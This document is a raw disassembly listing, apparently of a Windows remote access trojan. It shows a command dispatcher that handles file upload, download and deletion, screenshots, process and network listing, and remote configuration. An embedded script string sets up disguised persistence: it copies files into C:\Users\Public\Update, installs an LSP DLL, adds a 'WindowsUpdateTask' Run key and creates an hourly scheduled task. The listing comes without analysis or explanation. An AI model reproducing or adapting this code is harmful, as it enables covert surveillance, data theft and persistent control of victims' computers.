xor eax, eax
jmp 0x411135
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x41115e
mov edx, dword [0x45f400]
push edi
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x45f400]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x45f400], edi
jmp 0x410bce
mov eax, dword [0x45f400]
cmp eax, edi
je 0x411182
push edi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [0x45f400]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x45f400], edi
mov eax, dword [ebp - 0x57c]
push edi
add eax, 0x1c
push edi
call fcn.004063a0
push eax
push 0x4098e0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x45f400], eax
jmp 0x410bce
mov esi, 0x43c630
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4111d4
test cl, cl
je 0x4111d0
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4111d4
add eax, 2
add esi, 2
test cl, cl
jne 0x4111b4
xor eax, eax
jmp 0x4111d9
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411216
lea edx, [ebp - 0x56c]
add eax, 0x1c
mov dword [ebp - 0x4e8], edx
call fcn.004063a0
push edi
mov dword [ebp - 0x4e4], eax
push edi
lea eax, [ebp - 0x4e8]
push eax
mov dword [ebp - 0x4e0], edi
push 0x4067e0
jmp 0x41162a
mov esi, str._test
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411240
test cl, cl
je 0x41123c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411240
add eax, 2
add esi, 2
test cl, cl
jne 0x411220
xor eax, eax
jmp 0x411245
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4112a6
mov ecx, dword [ebp - 0x56c]
push ecx
call fcn.00404b00
add esp, 4
test eax, eax
je 0x410bce
lea edx, [ebp - 0xdc]
push 0x43b2c0
push edx
call fcn.0041c484
lea eax, [ebp - 0xdc]
add esp, 8
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411280
sub eax, edx
mov edx, dword [ebp - 0x56c]
lea ecx, [ebp - 0xdc]
push ecx
push edx
mov edi, eax
call fcn.00412810
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._test1
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4112d6
test cl, cl
je 0x4112d2
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4112d6
add eax, 2
add esi, 2
test cl, cl
jne 0x4112b6
xor eax, eax
jmp 0x4112db
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4113f1
push 0x439cd8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push str.C:UsersPublicDCBrowser.exe
push 0x439d94
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x40
lea eax, [ebp - 0x5f0]
push edi
push eax
call fcn.00421fd0
add esp, 0xc
lea ecx, [ebp - 0x4ec]
push ecx
lea edx, [ebp - 0x5f4]
push edx
push edi
push edi
push 0x200
push 1
push edi
push edi
xor eax, eax
push str.C:UsersPublicDCBrowser.exe__code__Taskbar:Pin_C:UsersPublic360
push edi
mov dword [ebp - 0x4ec], edi
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x5f4], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x41137c
mov eax, dword [ebp - 0x56c]
push 0x43c6e0
push eax
mov edi, 0x3e
call fcn.00412810
add esp, 8
jmp 0x410bce
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x439edc
push 0x439cd8
call fcn.0041ca5f
mov esi, eax
add esp, 8
cmp esi, edi
jne 0x4113bd
mov ecx, dword [ebp - 0x56c]
push 0x43a3c4
push ecx
mov edi, 0x36
call fcn.00412810
add esp, 8
jmp 0x410bce
push str.require_winapi_nlocal_str_____nDim_shell__command_nSet_shell__CreateObject__WScript.Shell___ncommand___cmd.exe__c_copy__Y__b_C:UsersPublicUpdate4d5a90.docC:UsersPublicUpdateimageres_C:UsersPublicUpdate0923.dll__nshell.Run_command__0__True_nshell.Run__C:UsersPublicUpdateWindowsSecurity.exe__InstallLsp_C:UsersPublicUpdate0923.dll___1__false_nSet_shell__Nothing_n___nlocal_timestamp__os.time___nreg_write___HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun____WindowsUpdateTask__C:UsersPublicUpdate..timestamp...vbs__winapi.REG_SZ__napp:run_schtasks___Create__TN_WindowsUpdateTask__SC_MINUTE__MO_60__TR_C:UsersPublicUpdate..timestamp...vbs__F_0__napp:run_cmd___c_start_https:__hao.360.com__0__napp:call_sleep_3000_local_file__io.open_C:UsersPublicUpdate..timestamp...vbs___w___nfile:write_str__nfile:close___nos.exit_0_
push 0x43a2bc
push esi
call fcn.0041d37b
push esi
call fcn.0041cc56
mov edx, dword [ebp - 0x56c]
push 0x43ca9c
push edx
mov edi, 0x3e
call fcn.00412810
add esp, 0x18
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._Get_LocalDisk
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411421
test cl, cl
je 0x41141d
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411421
add eax, 2
add esi, 2
test cl, cl
jne 0x411401
xor eax, eax
jmp 0x411426
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411434
call fcn.00406920
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._GetFolder
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411464
test cl, cl
je 0x411460
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411464
add eax, 2
add esi, 2
test cl, cl
jne 0x411444
xor eax, eax
jmp 0x411469
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x41149b
mov ecx, dword [ebp - 0x57c]
lea eax, [ecx + 0x38]
lea esi, [ecx + 0x1c]
call fcn.004063a0
push eax
mov eax, esi
call fcn.004063a0
push eax
mov eax, dword [ebp - 0x56c]
push eax
call fcn.00406b20
add esp, 0xc
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._GetFile
call fcn.004063a0
jmp 0x4114b0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4114d0
test cl, cl
je 0x4114cc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4114d0
add eax, 2
add esi, 2
test cl, cl
jne 0x4114b0
xor eax, eax
jmp 0x4114d5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x4114fd
add eax, 0x1c
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov ecx, eax
call fcn.00406df0
add esp, 4
jmp 0x410bce
mov esi, str._GetProcess
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411527
test cl, cl
je 0x411523
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411527
add eax, 2
add esi, 2
test cl, cl
jne 0x411507
xor eax, eax
jmp 0x41152c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411544
mov edx, dword [ebp - 0x56c]
push edx
call fcn.00408b80
add esp, 4
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._Netstat
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411574
test cl, cl
je 0x411570
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411574
add eax, 2
add esi, 2
test cl, cl
jne 0x411554
xor eax, eax
jmp 0x411579
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411591
mov eax, dword [ebp - 0x56c]
push eax
call fcn.00409370
add esp, 4
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._FileUpload
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4115c1
test cl, cl
je 0x4115bd
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4115c1
add eax, 2
add esi, 2
test cl, cl
jne 0x4115a1
xor eax, eax
jmp 0x4115c6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411645
lea ecx, [ebp - 0x56c]
add eax, 0x1c
mov dword [ebp - 0x59c], ecx
call fcn.004063a0
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
call fcn.004063a0
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x54
call fcn.004063a0
push edi
push edi
lea edx, [ebp - 0x59c]
push edx
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edi
push 0x4088f0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x410bce
mov esi, str._BigFileUpload
call fcn.004063a0
nop
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411670
test cl, cl
je 0x41166c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411670
add eax, 2
add esi, 2
test cl, cl
jne 0x411650
xor eax, eax
jmp 0x411675
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4116a7
mov ecx, dword [ebp - 0x57c]
lea eax, [ecx + 0x38]
lea esi, [ecx + 0x1c]
call fcn.004063a0
push eax
mov eax, esi
call fcn.004063a0
push eax
mov eax, dword [ebp - 0x56c]
push eax
call fcn.00408a10
add esp, 0xc
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._FileDownLoad
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4116d7
test cl, cl
je 0x4116d3
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4116d7
add eax, 2
add esi, 2
test cl, cl
jne 0x4116b7
xor eax, eax
jmp 0x4116dc
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411712
mov ecx, dword [ebp - 0x57c]
lea eax, [ecx + 0x38]
lea esi, [ecx + 0x1c]
call fcn.004063a0
mov edi, eax
mov eax, esi
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov edx, edi
mov ecx, eax
call fcn.00408640
add esp, 4
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._BigFileDownLoad
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411742
test cl, cl
je 0x41173e
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411742
add eax, 2
add esi, 2
test cl, cl
jne 0x411722
xor eax, eax
jmp 0x411747
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._BigFileDownLoad_FLAG
call fcn.004063a0
nop
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411780
test cl, cl
je 0x41177c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411780
add eax, 2
add esi, 2
test cl, cl
jne 0x411760
xor eax, eax
jmp 0x411785
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._FileDelete
call fcn.004063a0
lea ecx, [ecx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4117c0
test cl, cl
je 0x4117bc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4117c0
add eax, 2
add esi, 2
test cl, cl
jne 0x4117a0
xor eax, eax
jmp 0x4117c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411896
add eax, 0x1c
call fcn.004063a0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x411838
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
call fcn.004063a0
push eax
lea edx, [ebp - 0xdc]
push 0x43cb80
push edx
call fcn.0041c484
lea eax, [ebp - 0xdc]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411812
sub eax, edx
mov edx, dword [ebp - 0x56c]
lea ecx, [ebp - 0xdc]
push ecx
push edx
mov edi, eax
call fcn.00412810
add esp, 8
jmp 0x410bce
mov esi, dword [ebp - 0x57c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esi + 0x1c]
call fcn.004063a0
push eax
lea eax, [ebp - 0xdc]
push str._ExecuteCommand_
push eax
call fcn.0041c484
lea eax, [ebp - 0xdc]
add esp, 0x10
lea edx, [eax + 1]
jmp 0x411870
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411870
sub eax, edx
mov edx, dword [ebp - 0x56c]
lea ecx, [ebp - 0xdc]
push ecx
push edx
mov edi, eax
call fcn.00412810
add esp, 8
jmp 0x410bce
mov esi, str._ScreenShot
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4118c0
test cl, cl
je 0x4118bc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4118c0
add eax, 2
add esi, 2
test cl, cl
jne 0x4118a0
xor eax, eax
jmp 0x4118c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x4118ec
add eax, 0x1c
call fcn.004063a0
push eax
mov eax, dword [ebp - 0x56c]
push eax
call fcn.004093d0
add esp, 8
jmp 0x410bce
mov esi, str._OffLine
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411916
test cl, cl
je 0x411912
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411916
add eax, 2
add esi, 2
test cl, cl
jne 0x4118f6
xor eax, eax
jmp 0x41191b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411929
call fcn.004067d0
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._ProgressSpawn
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411960
test cl, cl
je 0x41195c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411960
add eax, 2
add esi, 2
test cl, cl
jne 0x411940
xor eax, eax
jmp 0x411965
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411c32
add eax, 0x1c
mov esi, 0x43aa5c
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4119a0
test cl, cl
je 0x41199c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4119a0
add eax, 2
add esi, 2
test cl, cl
jne 0x411980
xor eax, eax
jmp 0x4119a5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411a26
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:UsersPublicUpdateexplore.exe
call esi
cmp eax, 0xffffffff
je 0x411a08
test al, 0x10
jne 0x411a08
push str.C:UsersPublicUpdateexplorer
call esi
cmp eax, 0xffffffff
je 0x4119d3
test al, 0x10
je 0x4119e5
push str.C:UsersPublicUpdateexplorer
mov eax, str.C:UsersPublicUpdateexplore.exe
call fcn.00402a60
add esp, 4
mov ecx, dword [ebp - 0x56c]
push 0x439bba
push ecx
mov edx, 0x439bba
mov ecx, 0x43aa5c
call fcn.00407300
add esp, 8
jmp 0x410bce
mov edx, dword [ebp - 0x56c]
push 0x43c580
push edx
mov edi, 0x2d
call fcn.00412810
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, 0x43aafc
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411a60
test cl, cl
je 0x411a5c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411a60
add eax, 2
add esi, 2
test cl, cl
jne 0x411a40
xor eax, eax
jmp 0x411a65
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411a97
add eax, 0x38
push 0x439bba
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov edx, eax
mov ecx, 0x43aafc
call fcn.00407300
add esp, 8
jmp 0x410bce
add eax, 0x1c
mov esi, 0x43ac7c
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411ac4
test cl, cl
je 0x411ac0
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411ac4
add eax, 2
add esi, 2
test cl, cl
jne 0x411aa4
xor eax, eax
jmp 0x411ac9
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x411afb
add eax, 0x38
push 0x439bba
call fcn.004063a0
mov edx, dword [ebp - 0x56c]
push edx
mov edx, eax
mov ecx, 0x43ac7c
call fcn.00407300
add esp, 8
jmp 0x410bce
add eax, 0x1c
mov esi, 0x43ad08
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411b28
test cl, cl
je 0x411b24
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411b28
add eax, 2
add esi, 2
test cl, cl
jne 0x411b08
xor eax, eax
jmp 0x411b2d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411b65
mov ecx, dword [ebp - 0x57c]
lea eax, [ecx + 0x54]
lea esi, [ecx + 0x38]
call fcn.004063a0
push eax
mov eax, esi
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov edx, eax
mov ecx, 0x43ad08
call fcn.00407300
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, 0x43ac30
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411b98
test cl, cl
je 0x411b94
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411b98
add eax, 2
add esi, 2
test cl, cl
jne 0x411b78
xor eax, eax
jmp 0x411b9d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411bc4
mov edx, dword [ebp - 0x56c]
push 0x439bba
push edx
mov edx, 0x439bba
mov ecx, 0x43ac30
call fcn.00407300
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, 0x43ace8
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411bf7
test cl, cl
je 0x411bf3
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411bf7
add eax, 2
add esi, 2
test cl, cl
jne 0x411bd7
xor eax, eax
jmp 0x411bfc
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x38
push 0x439bba
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov edx, eax
mov ecx, 0x43ace8
call fcn.00407300
add esp, 8
jmp 0x410bce
mov esi, str._ServerConfig
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411c60
test cl, cl
je 0x411c5c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411c60
add eax, 2
add esi, 2
test cl, cl
jne 0x411c40
xor eax, eax
jmp 0x411c65
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
push 0x43be68
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0xd
call fcn.004144c0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x57c]
lea eax, [ebp - 0x530]
add edx, 0x1c
push eax
lea ecx, [ebp - 0x4ec]
call fcn.004060a0
add esp, 4
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x10
call fcn.00414500
mov eax, dword [ebp - 0x4ec]
call fcn.004018c0
mov dword [0x45f380], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x1c
call fcn.004063a0
mov dword [0x45f384], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x38
call fcn.004018c0
mov dword [0x45f388], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x70
call fcn.004018c0
mov dword [0x45f38c], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x8c
call fcn.004018c0
mov dword [0x45f390], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
call fcn.004063a0
mov dword [0x45f394], eax
jmp 0x410bc3